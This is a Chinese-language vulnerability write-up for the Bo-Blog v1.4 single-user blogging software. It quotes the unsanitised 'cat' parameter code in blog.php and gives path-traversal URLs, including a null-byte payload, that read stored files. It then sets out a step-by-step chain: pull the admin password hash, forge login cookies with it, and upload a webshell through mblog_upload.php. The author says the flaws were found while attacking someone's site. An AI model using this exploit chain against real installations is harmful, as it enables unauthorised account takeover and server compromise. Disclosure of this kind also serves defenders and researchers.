这个是前几天,干某人站,发现用的这套程序,于是就下了一套研究(坑爹啊,04年的Blog程序现在居然还有人用,不过现在这位同学换了Blog程序,发出来也不怕万人轮了),挖了几个漏洞,这是其中一个,这套程序除了这个漏洞,还有各种XSS(取Cookie直接叼Shell,见下文)、文件包含、配置文件写马、文件读取……

    因为这个系统没有数据库,所以采用的是纯文本格式储存各种数据,留言什么的居然都是直接储存在“*.php”文件中,坑爹啊、这是……,还好过滤做的比较严,不然又直接叼 Shell、。。

Bo-Blog v1.4 单用户版分类列表文件读取漏洞 + 拿 WebShell

By:Nuclear'Atk

From:https://lcx.cc/post/1679/

漏洞名称:

    Bo-Blog v1.4 单用户版分类列表文件读取漏洞 + 拿 WebShell

漏洞文件:

    blog.php

漏洞代码:

if ($job=="showcat") {  //列出某个分类下所有entries
if (!file_exists("$dirblog/$cat.php")) {
 wronginfo("没有找到这个分类。");
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");

利用条件:

    Null

漏洞原因:

    在文件“blog.php”中,功能“分类列表”。

    参数“cat=”没有经过任何处理,直接使用“$allfiles=@file("$dirblog/$cat.php");”读文件。

    导致如果提交文件名,那么就会直接读取该文件处理输出。

漏洞测试:

    1、读 index.htm:http://127.0.0.1/blog.php?job=showcat&cat=../index.htm%00

漏洞利用:

    1、读 $dirblog/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=userid

    2、读 /diruser/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=../diruser/userid

    利用本漏洞可以直接拿 WebShell,步骤如下:

    1、访问:http://127.0.0.1/blog.php?job=showcat&cat=../diruser/userid(或:http://127.0.0.1/blog.php?job=showcat&cat=userid,取决于博客配置的路径地址),得到管理密码 Hash 值。

    2、访问:http://127.0.0.1/profile.php,得到管理账号。

    3、由于这个程序把账号和管理密码Hash值放到Cookies中进行登录验证,所以拿到账号和管理密码Hash值就可以直接登陆了,根本不需要破解。

    4、修改 Cookies:lastvisit=lastvisit; nowuserid=管理ID; nowuserpassword=管理密码Hash值

    5、刷新页面,已经登陆进去了,然后访问:http://127.0.0.1/mblog_upload.php,可以上传任意文件,拿到 WebShell。

其他信息:

    Null